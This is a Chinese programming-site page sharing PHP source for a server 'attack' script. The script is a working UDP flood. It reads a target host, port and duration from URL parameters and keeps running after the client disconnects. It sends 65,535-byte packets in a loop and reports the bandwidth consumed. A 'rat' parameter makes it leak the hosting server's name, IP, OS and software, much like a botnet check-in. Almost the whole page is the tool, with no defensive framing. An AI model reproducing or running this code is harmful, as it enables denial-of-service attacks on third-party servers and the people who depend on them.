您的位置:首页 > 编程语言 > PHP开发

php实现攻击服务器的自动执行发包源码

2012-06-11 13:47 531 查看
set_time_limit(999999);

$host = $_GET['host'];

$port = $_GET['port'];

$exec_time = $_GET['time'];

$Sendlen = 65535;

$packets = 0;

ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){

        if (StrLen($_GET['rat'])<>0){

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];

                exit;

            }

        echo "Warning to: opening";

        exit;

    }

for($i=0;$i<$Sendlen;$i++){

        $out .= "A";

    }

$max_time = time()+$exec_time;

while(1){

    $packets++;

    if(time() > $max_time){

        break;

    }

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);

        if($fp){

            fwrite($fp, $out);

            fclose($fp);

    }

}

echo "Send Host:$host:$port<br><br>";

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  服务器 php server fp user